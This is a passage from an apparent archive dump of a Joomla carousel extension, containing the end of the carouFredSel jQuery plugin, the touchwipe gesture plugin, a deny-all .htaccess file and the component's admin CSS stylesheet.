[true, siz]); _windowWidth = $w.width(); _windowHeight = $w.height(); } }); } }; // /bind_buttons $cfs._cfs_unbind_buttons = function() { var ns1 = cf_e('', conf), ns2 = cf_e('', conf, false); ns3 = cf_e('', conf, false, true, true); $(document).unbind(ns3); $(window).unbind(ns3); $wrp.unbind(ns2); if (opts.auto.button) opts.auto.button.unbind(ns2); if (opts.prev.button) opts.prev.button.unbind(ns2); if (opts.next.button) opts.next.button.unbind(ns2); if (opts.pagination.container) { opts.pagination.container.unbind(ns2); if (opts.pagination.anchorBuilder) { opts.pagination.container.children().remove(); } } nv_showNavi(opts, 'hide', conf); nv_enableNavi(opts, 'removeClass', conf); }; // /unbind_buttons // START var crsl = { 'direction' : 'next', 'isPaused' : true, 'isScrolling' : false, 'isStopped' : false, 'mousewheelNext': false, 'mousewheelPrev': false, 'touchwipe' : false }, itms = { 'total' : $cfs.children().length, 'first' : 0 }, tmrs = { 'timer' : null, 'auto' : null, 'queue' : null, 'startTime' : getTime(), 'timePassed' : 0 }, scrl = { 'isStopped' : false, 'duration' : 0, 'startTime' : 0, 'easing' : '', 'anims' : [] }, clbk = { 'onBefore' : [], 'onAfter' : [] }, queu = [], conf = $.extend(true, {}, $.fn.carouFredSel.configs, configs), opts = {}, opts_orig = options, $wrp = $cfs.wrap('<'+conf.wrapper.element+' class="'+conf.wrapper.classname+'" />').parent(); conf.selector = $cfs.selector; conf.serialNumber = $.fn.carouFredSel.serialNumber++; // create carousel $cfs._cfs_init(opts_orig, true, starting_position); $cfs._cfs_build(); $cfs._cfs_bind_events(); $cfs._cfs_bind_buttons(); // find item to start if (is_array(opts.items.start)) { var start_arr = opts.items.start; } else { var start_arr = []; if (opts.items.start != 0) { start_arr.push(opts.items.start); } } if (opts.cookie) { start_arr.unshift(cf_readCookie(opts.cookie)); } if (start_arr.length > 0) { for (var a = 0, l = start_arr.length; a < l; a++) { var s = start_arr[a]; if (s == 0) { continue; } if (s === true) { s = window.location.hash; if (s.length < 1) { continue; } } else if (s === 'random') { s = Math.floor(Math.random()*itms.total); } if ($cfs.triggerHandler(cf_e('slideTo', conf), [s, 0, true, { fx: 'none' }])) { break; } } } var siz = sz_setSizes($cfs, opts, false), itm = gi_getCurrentItems($cfs.children(), opts); if (opts.onCreate) { opts.onCreate.call($tt0, itm, siz); } $cfs.trigger(cf_e('updatePageStatus', conf), [true, siz]); $cfs.trigger(cf_e('linkAnchors', conf)); return $cfs; }; // GLOBAL PUBLIC $.fn.carouFredSel.serialNumber = 1; $.fn.carouFredSel.defaults = { 'synchronise' : false, 'infinite' : true, 'circular' : true, 'responsive' : false, 'direction' : 'left', 'items' : { 'start' : 0 }, 'scroll' : { 'easing' : 'swing', 'duration' : 500, 'pauseOnHover' : false, 'mousewheel' : false, 'wipe' : false, 'event' : 'click', 'queue' : false } }; $.fn.carouFredSel.configs = { 'debug' : false, 'events' : { 'prefix' : '', 'namespace' : 'cfs' }, 'wrapper' : { 'element' : 'div', 'classname' : 'caroufredsel_wrapper' }, 'classnames' : {} }; $.fn.carouFredSel.pageAnchorBuilder = function(nr, itm) { return ''+nr+''; }; // GLOBAL PRIVATE // scrolling functions function sc_setScroll(d, e) { return { anims : [], duration : d, orgDuration : d, easing : e, startTime : getTime() }; } function sc_startScroll(s) { if (typeof s.pre == 'object') { sc_startScroll(s.pre); } for (var a = 0, l = s.anims.length; a < l; a++) { var b = s.anims[a]; if (!b) continue; if (b[3]) b[0].stop(); b[0].animate(b[1], { complete: b[2], duration: s.duration, easing: s.easing }); } if (typeof s.post == 'object') { sc_startScroll(s.post); } } function sc_stopScroll(s, finish) { if (typeof finish != 'boolean') finish = true; if (typeof s.pre == 'object') { sc_stopScroll(s.pre, finish); } for (var a = 0, l = s.anims.length; a < l; a++) { var b = s.anims[a]; b[0].stop(true); if (finish) { b[0].css(b[1]); if (typeof b[2] == 'function') b[2](); } } if (typeof s.post == 'object') { sc_stopScroll(s.post, finish); } } function sc_clearTimers(t) { if (t.auto) clearTimeout(t.auto); return t; } function sc_callCallbacks(cbs, t, args) { if (cbs.length) { for (var a = 0, l = cbs.length; a < l; a++) { cbs[a].apply(t, args); } } return []; } // fx functions function fx_fade(sO, c, x, d, f) { var o = { 'duration' : d, 'easing' : sO.easing }; if (typeof f == 'function') o.complete = f; c.animate({ opacity: x }, o); } function fx_cover(sc, c1, c2, o, prev) { var old_w = ms_getSizes(gi_getOldItemsNext(c1.children(), o), o, true)[0], new_w = ms_getSizes(c2.children(), o, true)[0], cur_l = (prev) ? -new_w : old_w, css_o = {}, ani_o = {}; css_o[o.d['width']] = new_w; css_o[o.d['left']] = cur_l; ani_o[o.d['left']] = 0; sc.pre.anims.push([c1, { 'opacity': 1 }]); sc.post.anims.push([c2, ani_o, function() { $(this).remove(); }]); c2.css(css_o); return sc; } function fx_uncover(sc, c1, c2, o, prev, n) { var new_w = ms_getSizes(gi_getNewItemsNext(c1.children(), o, n), o, true)[0], old_w = ms_getSizes(c2.children(), o, true)[0], cur_l = (prev) ? -old_w : new_w, css_o = {}, ani_o = {}; css_o[o.d['width']] = old_w; css_o[o.d['left']] = 0; ani_o[o.d['left']] = cur_l; sc.post.anims.push([c2, ani_o, function() { $(this).remove(); }]); c2.css(css_o); return sc; } // navigation functions function nv_showNavi(o, t, c) { if (t == 'show' || t == 'hide') { var f = t; } else if (o.items.minimum >= t) { debug(c, 'Not enough items: hiding navigation ('+t+' items, '+o.items.minimum+' needed).'); var f = 'hide'; } else { var f = 'show'; } var s = (f == 'show') ? 'removeClass' : 'addClass', h = cf_c('hidden', c); if (o.auto.button) o.auto.button[f]()[s](h); if (o.prev.button) o.prev.button[f]()[s](h); if (o.next.button) o.next.button[f]()[s](h); if (o.pagination.container) o.pagination.container[f]()[s](h); } function nv_enableNavi(o, f, c) { if (o.circular || o.infinite) return; var fx = (f == 'removeClass' || f == 'addClass') ? f : false, di = cf_c('disabled', c); if (o.auto.button && fx) { o.auto.button[fx](di); } if (o.prev.button) { var fn = fx || (f == 0) ? 'addClass' : 'removeClass'; o.prev.button[fn](di); } if (o.next.button) { var fn = fx || (f == o.items.visible) ? 'addClass' : 'removeClass'; o.next.button[fn](di); } } // get object functions function go_getObject($tt, obj) { if (typeof obj == 'function') obj = obj.call($tt); if (typeof obj == 'undefined') obj = {}; return obj; } function go_getNaviObject($tt, obj, type) { if (typeof type != 'string') type = ''; obj = go_getObject($tt, obj); if (typeof obj == 'string') { var temp = cf_getKeyCode(obj); if (temp == -1) obj = $(obj); else obj = temp; } // pagination if (type == 'pagination') { if (typeof obj == 'boolean') obj = { 'keys': obj }; if (typeof obj.jquery != 'undefined') obj = { 'container': obj }; if (typeof obj.container == 'function') obj.container = obj.container.call($tt); if (typeof obj.container == 'string') obj.container = $(obj.container); if (typeof obj.items != 'number') obj.items = false; // auto } else if (type == 'auto') { if (typeof obj.jquery != 'undefined') obj = { 'button': obj }; if (typeof obj == 'boolean') obj = { 'play': obj }; if (typeof obj == 'number') obj = { 'pauseDuration': obj }; if (typeof obj.button == 'function') obj.button = obj.button.call($tt); if (typeof obj.button == 'string') obj.button = $(obj.button); // prev + next } else { if (typeof obj.jquery != 'undefined') obj = { 'button': obj }; if (typeof obj == 'number') obj = { 'key': obj }; if (typeof obj.button == 'function') obj.button = obj.button.call($tt); if (typeof obj.button == 'string') obj.button = $(obj.button); if (typeof obj.key == 'string') obj.key = cf_getKeyCode(obj.key); } return obj; } // get number functions function gn_getItemIndex(num, dev, org, items, $cfs) { if (typeof num == 'string') { if (isNaN(num)) num = $(num); else num = parseInt(num); } if (typeof num == 'object') { if (typeof num.jquery == 'undefined') num = $(num); num = $cfs.children().index(num); if (num == -1) num = 0; if (typeof org != 'boolean') org = false; } else { if (typeof org != 'boolean') org = true; } if (isNaN(num)) num = 0; else num = parseInt(num); if (isNaN(dev)) dev = 0; else dev = parseInt(dev); if (org) { num += items.first; } num += dev; if (items.total > 0) { while (num >= items.total) { num -= items.total; } while (num < 0) { num += items.total; } } return num; } // items prev function gn_getVisibleItemsPrev(i, o, s) { var t = 0, x = 0; for (var a = s; a >= 0; a--) { var j = i.eq(a); t += (j.is(':visible')) ? j[o.d['outerWidth']](true) : 0; if (t > o.maxDimention) return x; if (a == 0) a = i.length; x++; } } function gn_getVisibleItemsPrevFilter(i, o, s) { return gn_getItemsPrevFilter(i, o.items.filter, o.items.visibleConf.org, s); } function gn_getScrollItemsPrevFilter(i, o, s, m) { return gn_getItemsPrevFilter(i, o.items.filter, m, s); } function gn_getItemsPrevFilter(i, f, m, s) { var t = 0, x = 0; for (var a = s, l = i.length; a >= 0; a--) { x++; if (x == l) return x; var j = i.eq(a); if (j.is(f)) { t++; if (t == m) return x; } if (a == 0) a = l; } } function gn_getVisibleOrg($c, o) { return o.items.visibleConf.org || $c.children().slice(0, o.items.visible).filter(o.items.filter).length; } // items next function gn_getVisibleItemsNext(i, o, s) { var t = 0, x = 0; for (var a = s, l = i.length-1; a <= l; a++) { var j = i.eq(a); t += (j.is(':visible')) ? j[o.d['outerWidth']](true) : 0; if (t > o.maxDimention) return x; x++; if (x == l+1) return x; if (a == l) a = -1; } } function gn_getVisibleItemsNextTestCircular(i, o, s, l) { var v = gn_getVisibleItemsNext(i, o, s); if (!o.circular) { if (s + v > l) v = l - s; } return v; } function gn_getVisibleItemsNextFilter(i, o, s) { return gn_getItemsNextFilter(i, o.items.filter, o.items.visibleConf.org, s, o.circular); } function gn_getScrollItemsNextFilter(i, o, s, m) { return gn_getItemsNextFilter(i, o.items.filter, m+1, s, o.circular) - 1; } function gn_getItemsNextFilter(i, f, m, s, c) { var t = 0, x = 0; for (var a = s, l = i.length-1; a <= l; a++) { x++; if (x == l) return x; var j = i.eq(a); if (j.is(f)) { t++; if (t == m) return x; } if (a == l) a = -1; } } // get items functions function gi_getCurrentItems(i, o) { return i.slice(0, o.items.visible); } function gi_getOldItemsPrev(i, o, n) { return i.slice(n, o.items.visibleConf.old+n); } function gi_getNewItemsPrev(i, o) { return i.slice(0, o.items.visible); } function gi_getOldItemsNext(i, o) { return i.slice(0, o.items.visibleConf.old); } function gi_getNewItemsNext(i, o, n) { return i.slice(n, o.items.visible+n); } // sizes functions function sz_resetMargin(i, o, m) { var x = (typeof m == 'boolean') ? m : false; if (typeof m != 'number') m = 0; i.each(function() { var j = $(this); var t = parseInt(j.css(o.d['marginRight'])); if (isNaN(t)) t = 0; j.data('cfs_tempCssMargin', t); j.css(o.d['marginRight'], ((x) ? j.data('cfs_tempCssMargin') : m + j.data('cfs_origCssMargin'))); }); } function sz_setSizes($c, o, p) { var $w = $c.parent(), $i = $c.children(), $v = gi_getCurrentItems($i, o), sz = cf_mapWrapperSizes(ms_getSizes($v, o, true), o, p); $w.css(sz); if (o.usePadding) { var p = o.padding, r = p[o.d[1]]; if (o.align) { if (r < 0) r = 0; } var $l = $v.last(); $l.css(o.d['marginRight'], $l.data('cfs_origCssMargin') + r); $c.css(o.d['top'], p[o.d[0]]); $c.css(o.d['left'], p[o.d[3]]); } $c.css(o.d['width'], sz[o.d['width']]+(ms_getTotalSize($i, o, 'width')*2)); $c.css(o.d['height'], ms_getLargestSize($i, o, 'height')); return sz; } // measuring functions function ms_getSizes(i, o, wrapper) { var s1 = ms_getTotalSize(i, o, 'width', wrapper), s2 = ms_getLargestSize(i, o, 'height', wrapper); return [s1, s2]; } function ms_getLargestSize(i, o, dim, wrapper) { if (typeof wrapper != 'boolean') wrapper = false; if (typeof o[o.d[dim]] == 'number' && wrapper) return o[o.d[dim]]; if (typeof o.items[o.d[dim]] == 'number') return o.items[o.d[dim]]; var di2 = (dim.toLowerCase().indexOf('width') > -1) ? 'outerWidth' : 'outerHeight'; return ms_getTrueLargestSize(i, o, di2); } function ms_getTrueLargestSize(i, o, dim) { var s = 0; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); var m = (j.is(':visible')) ? j[o.d[dim]](true) : 0; if (s < m) s = m; } return s; } function ms_getTrueInnerSize($el, o, dim) { if (!$el.is(':visible')) return 0; var siz = $el[o.d[dim]](), arr = (o.d[dim].toLowerCase().indexOf('width') > -1) ? ['paddingLeft', 'paddingRight'] : ['paddingTop', 'paddingBottom']; for (var a = 0, l = arr.length; a < l; a++) { var m = parseInt($el.css(arr[a])); siz -= (isNaN(m)) ? 0 : m; } return siz; } function ms_getTotalSize(i, o, dim, wrapper) { if (typeof wrapper != 'boolean') wrapper = false; if (typeof o[o.d[dim]] == 'number' && wrapper) return o[o.d[dim]]; if (typeof o.items[o.d[dim]] == 'number') return o.items[o.d[dim]] * i.length; var d = (dim.toLowerCase().indexOf('width') > -1) ? 'outerWidth' : 'outerHeight', s = 0; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); s += (j.is(':visible')) ? j[o.d[d]](true) : 0; } return s; } function ms_hasVariableSizes(i, o, dim) { var s = false, v = false; for (var a = 0, l = i.length; a < l; a++) { var j = i.eq(a); var c = (j.is(':visible')) ? j[o.d[dim]](true) : 0; if (s === false) s = c; else if (s != c) v = true; if (s == 0) v = true; } return v; } function ms_getPaddingBorderMargin(i, o, d) { return i[o.d['outer'+d]](true) - ms_getTrueInnerSize(i, o, 'inner'+d); } function ms_isPercentage(x) { return (typeof x == 'string' && x.slice(-1) == '%'); } function ms_getPercentage(s, o) { if (ms_isPercentage(o)) { o = o.slice(0, -1); if (isNaN(o)) return s; s *= o/100; } return s; } // config functions function cf_e(n, c, pf, ns, rd) { if (typeof pf != 'boolean') pf = true; if (typeof ns != 'boolean') ns = true; if (typeof rd != 'boolean') rd = false; if (pf) n = c.events.prefix + n; if (ns) n = n +'.'+ c.events.namespace; if (ns && rd) n += c.serialNumber; return n; } function cf_c(n, c) { return (typeof c.classnames[n] == 'string') ? c.classnames[n] : n; } function cf_mapWrapperSizes(ws, o, p) { if (typeof p != 'boolean') p = true; var pad = (o.usePadding && p) ? o.padding : [0, 0, 0, 0]; var wra = {}; wra[o.d['width']] = ws[0] + pad[1] + pad[3]; wra[o.d['height']] = ws[1] + pad[0] + pad[2]; return wra; } function cf_sortParams(vals, typs) { var arr = []; for (var a = 0, l1 = vals.length; a < l1; a++) { for (var b = 0, l2 = typs.length; b < l2; b++) { if (typs[b].indexOf(typeof vals[a]) > -1 && typeof arr[b] == 'undefined') { arr[b] = vals[a]; break; } } } return arr; } function cf_getPadding(p) { if (typeof p == 'undefined') return [0, 0, 0, 0]; if (typeof p == 'number') return [p, p, p, p]; else if (typeof p == 'string') p = p.split('px').join('').split('em').join('').split(' '); if (!is_array(p)) { return [0, 0, 0, 0]; } for (var i = 0; i < 4; i++) { p[i] = parseInt(p[i]); } switch (p.length) { case 0: return [0, 0, 0, 0]; case 1: return [p[0], p[0], p[0], p[0]]; case 2: return [p[0], p[1], p[0], p[1]]; case 3: return [p[0], p[1], p[2], p[1]]; default: return [p[0], p[1], p[2], p[3]]; } } function cf_getAlignPadding(itm, o) { var x = (typeof o[o.d['width']] == 'number') ? Math.ceil(o[o.d['width']] - ms_getTotalSize(itm, o, 'width')) : 0; switch (o.align) { case 'left': return [0, x]; case 'right': return [x, 0]; case 'center': default: return [Math.ceil(x/2), Math.floor(x/2)]; } } function cf_getAdjust(x, o, a, $t) { var v = x; if (typeof a == 'function') { v = a.call($t, v); } else if (typeof a == 'string') { var p = a.split('+'), m = a.split('-'); if (m.length > p.length) { var neg = true, sta = m[0], adj = m[1]; } else { var neg = false, sta = p[0], adj = p[1]; } switch(sta) { case 'even': v = (x % 2 == 1) ? x-1 : x; break; case 'odd': v = (x % 2 == 0) ? x-1 : x; break; default: v = x; break; } adj = parseInt(adj); if (!isNaN(adj)) { if (neg) adj = -adj; v += adj; } } if (typeof v != 'number') v = 1; if (v < 1) v = 1; return v; } function cf_getItemsAdjust(x, o, a, $t) { return cf_getItemAdjustMinMax(cf_getAdjust(x, o, a, $t), o.items.visibleConf); } function cf_getItemAdjustMinMax(v, i) { if (typeof i.min == 'number' && v < i.min) v = i.min; if (typeof i.max == 'number' && v > i.max) v = i.max; if (v < 1) v = 1; return v; } function cf_getSynchArr(s) { if (!is_array(s)) s = [[s]]; if (!is_array(s[0])) s = [s]; for (var j = 0, l = s.length; j < l; j++) { if (typeof s[j][0] == 'string') s[j][0] = $(s[j][0]); if (typeof s[j][1] != 'boolean') s[j][1] = true; if (typeof s[j][2] != 'boolean') s[j][2] = true; if (typeof s[j][3] != 'number') s[j][3] = 0; } return s; } function cf_getKeyCode(k) { if (k == 'right') return 39; if (k == 'left') return 37; if (k == 'up') return 38; if (k == 'down') return 40; return -1; } function cf_setCookie(n, v) { if (n) document.cookie = n+'='+v+'; path=/'; } function cf_readCookie(n) { n += '='; var ca = document.cookie.split(';'); for (var a = 0, l = ca.length; a < l; a++) { var c = ca[a]; while (c.charAt(0) == ' ') { c = c.slice(1); } if (c.indexOf(n) == 0) { return c.slice(n.length); } } return 0; } // buttons functions function bt_pauseOnHoverConfig(p) { if (p && typeof p == 'string') { var i = (p.indexOf('immediate') > -1) ? true : false, r = (p.indexOf('resume') > -1) ? true : false; } else { var i = r = false; } return [i, r]; } function bt_mousesheelNumber(mw) { return (typeof mw == 'number') ? mw : null } // helper functions function is_array(a) { return typeof(a) == 'object' && (a instanceof Array); } function getTime() { return new Date().getTime(); } function debug(d, m) { if (typeof d == 'object') { var s = ' ('+d.selector+')'; d = d.debug; } else { var s = ''; } if (!d) return false; if (typeof m == 'string') m = 'carouFredSel'+s+': ' + m; else m = ['carouFredSel'+s+':', m]; if (window.console && window.console.log) window.console.log(m); return false; } // CAROUFREDSEL ALL LOWERCASE $.fn.caroufredsel = function(o, c) { return this.carouFredSel(o, c); }; // EASING FUNCTIONS $.extend($.easing, { 'quadratic' : function(t) { var t2 = t * t; return t * (-t2 * t + 4 * t2 - 6 * t + 4); }, 'cubic' : function(t) { return t * (4 * t * t - 9 * t + 6); }, 'elastic' : function(t) { var t2 = t * t; return t * (33 * t2 * t2 - 106 * t2 * t + 126 * t2 - 67 * t + 15); } }); })(jQuery);PK@y>\s)Jcomponents/com_unitehcarousel/assets/fred-carousel/jquery.touchwipe.min.jsnuW+A/** * jQuery Plugin to obtain touch gestures from iPhone, iPod Touch and iPad, should also work with Android mobile phones (not tested yet!) * Common usage: wipe images (left and right to show the previous or next image) * * @author Andreas Waltl, netCU Internetagentur (http://www.netcu.de) * @version 1.1.1 (9th December 2010) - fix bug (older IE's had problems) * @version 1.1 (1st September 2010) - support wipe up and wipe down * @version 1.0 (15th July 2010) */ (function($){$.fn.touchwipe=function(settings){var config={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:true};if(settings)$.extend(config,settings);this.each(function(){var startX;var startY;var isMoving=false;function cancelTouch(){this.removeEventListener('touchmove',onTouchMove);startX=null;isMoving=false}function onTouchMove(e){if(config.preventDefaultEvents){e.preventDefault()}if(isMoving){var x=e.touches[0].pageX;var y=e.touches[0].pageY;var dx=startX-x;var dy=startY-y;if(Math.abs(dx)>=config.min_move_x){cancelTouch();if(dx>0){config.wipeLeft()}else{config.wipeRight()}}else if(Math.abs(dy)>=config.min_move_y){cancelTouch();if(dy>0){config.wipeDown()}else{config.wipeUp()}}}}function onTouchStart(e){if(e.touches.length==1){startX=e.touches[0].pageX;startY=e.touches[0].pageY;isMoving=true;this.addEventListener('touchmove',onTouchMove,false)}}if('ontouchstart'in document.documentElement){this.addEventListener('touchstart',onTouchStart,false)}});return this}})(jQuery);PK@y>\)<components/com_unitehcarousel/assets/fred-carousel/.htaccessnuW+A Order allow,deny Deny from all PK@y>\=components/com_unitehcarousel/assets/fred-carousel/index.htmlnuW+APK@y>\{zU((.components/com_unitehcarousel/assets/style.cssnuW+A /* ----------------- General Styles --------------- */ #div_debug{ font-size:14px; } .invisible{ opacity:0; filter:alpha(opacity=0); } .error_message_box{ padding:5px; border:1px solid #B70F0F; /* red */ background-color:#F8E0E0; font-size:14px; margin:10px; } .success_message_box{ padding:5px; border:1px solid #2E982E; /* green */ background-color:#E8F8E8; font-size:14px; margin:10px; } .clear{ clear:both; } input.textbox-small{ width:40px; padding-left:2px; } input.color-picker{ width:63px; padding-left:2px; } .sap_vert{ height:40px; } .input_url{ width:230px; } .hidden{ display:none; } .input_example{ float:left; display:block; padding-top:7px; font-style:italic; } .area_left{ height:100px; } .slider_edit_slides a{ margin-left:10px; margin-top:10px; font-size:20px; } .help_item{ width:500px; max-width:500px; } .toggle-editor{ clear:both; } .inputbox_big{ width:240px; font-size: 1.364em; } .component_footer{ padding-top:10px; text-align:right; padding-right:10px; color:#666666; } #component_footer_link{ color:#666666; text-decoration:underline; } /* ----------------- Buttons --------------- */ a.button-secondary{ border:1px solid #A1A1A1; padding:3px; text-decoration:none; background-color:#E3E3E3; } a.button-secondary:hover{ text-decoration:none; background-color:#ECECEC; } a.button-primary{ text-decoration:none; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #5BC0DE), color-stop(100%, #2F96B4)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* IE10+ */ background: linear-gradient(top, #5BC0DE 0%, #2F96B4 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#5BC0DE', endColorstr='#2F96B4', GradientType=0 ); /* IE6-8 */ color:#fff !important; font-size:14px; text-shadow:1px 1px 1px #5BC0DE; text-decoration:none; -moz-border-radius: 8px; -webkit-border-radius: 8px; border-radius: 8px; /* future proofing */ -khtml-border-radius: 5px; /* for old Konqueror browsers */ box-shadow: 0 1px #FFFFFF; -moz-box-shadow: 0 1px #FFFFFF; -webkit-box-shadow: 0 1px #FFFFFF; border: 1px solid #5BC0DE; cursor:pointer; text-align:center; padding-left:12px; padding-right:12px; padding-top:4px; padding-bottom:4px; } a.button-primary:hover{ text-decoration:none !important; color:#fff; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #2F96B4), color-stop(100%, #5BC0DE)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* IE10+ */ background: linear-gradient(top, #2F96B4 0%, #5BC0DE 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#2F96B4', endColorstr='#5BC0DE', GradientType=0 ); /* IE6-8 */ cursor:pointer; } /* ----------------- Arrows Grid --------------- */ ul.arrows_list{ list-style:none; margin:0px; padding:0px; } ul.arrows_list li{ float:left; margin-right:10px; margin-bottom:10px; } ul.arrows_list li a{ display:block; width:150px; height:117px; text-decoration:none; text-align:center; background-image:url(images/bg.gif); -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid lightgray; } ul.arrows_list li a span{ display:block; padding-top:10px; } .arrows_grid .arrow_left{ margin-right:2px; } .arrows_grid .arrow_right{ margin-left:2px; } ul.arrows_list li a:hover{ background-color:#e6e6e6; background-image:none; } .dir_arrow{ position:absolute; cursor:move; } /* ----------------- Bullets --------------- */ #bullets_wrapper{ position:absolute; cursor:move; } #bullets_wrapper ul{ list-style:none; margin:0px; padding:0px; } #bullets_wrapper ul li{ float:left; } /* ----------------- Bullets Grid --------------- */ ul.bullets_list{ list-style:none; margin:0px; padding:0px; } ul.bullets_list li{ float:left; margin-right:10px; margin-bottom:10px; } ul.bullets_list li a{ display:block; width:130px; height:60px; text-decoration:none; text-align:center; background-image:url(images/bg.gif); -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; /* future proofing */ border:1px solid lightgray; } ul.bullets_list li a span{ display:block; padding-top:10px; } ul.bullets_list li a:hover{ background-color:#e6e6e6; background-image:none; } /* ----------------- Captions --------------- */ #caption_back{ position:absolute; width:100%; left:0px; } #caption_text{ margin:0px; } /* =============== Slide View =============== */ .slide_wrapper_inside{ width:800px; } /* =============== Settings Admin Input =============== */ /* arrow chooser */ .adminform .chooser-image-wrapper{ margin:0px; padding:0px; } .adminform .chooser-image-wrapper img{ margin:0px; padding:0px; margin-right:10px; } .adminform .button-chooser{ float:left; margin-top:10px; } /* end arrow chooser */ .adminform input.number{ width:50px; } .adminform .unit{ float:left; font-size:12px; padding-top:10px; } .adminform input { padding:5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; /* future proofing */ font-size:13px; } .adminform select { padding:5px; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; /* future proofing */ } .adminform label { font-size:13px!important; min-width:160px!important; width:160px!important; } .adminform .radio_small label{ min-width:30px!important; width:30px!important; } .adminform .radio_wide label{ min-width:100px!important; width:100px!important; } .submenu-box { padding:10px; background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iI2ZmZmZmZiIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiNmMmYyZjIiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+); background: -moz-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* FF3.6+ */ background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #ffffff), color-stop(100%, #f2f2f2)); /* Chrome,Safari4+ */ background: -webkit-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* Chrome10+,Safari5.1+ */ background: -o-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* Opera 11.10+ */ background: -ms-linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* IE10+ */ background: linear-gradient(top, #ffffff 0%, #f2f2f2 100%); /* W3C */ filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#f2f2f2', GradientType=0 ); 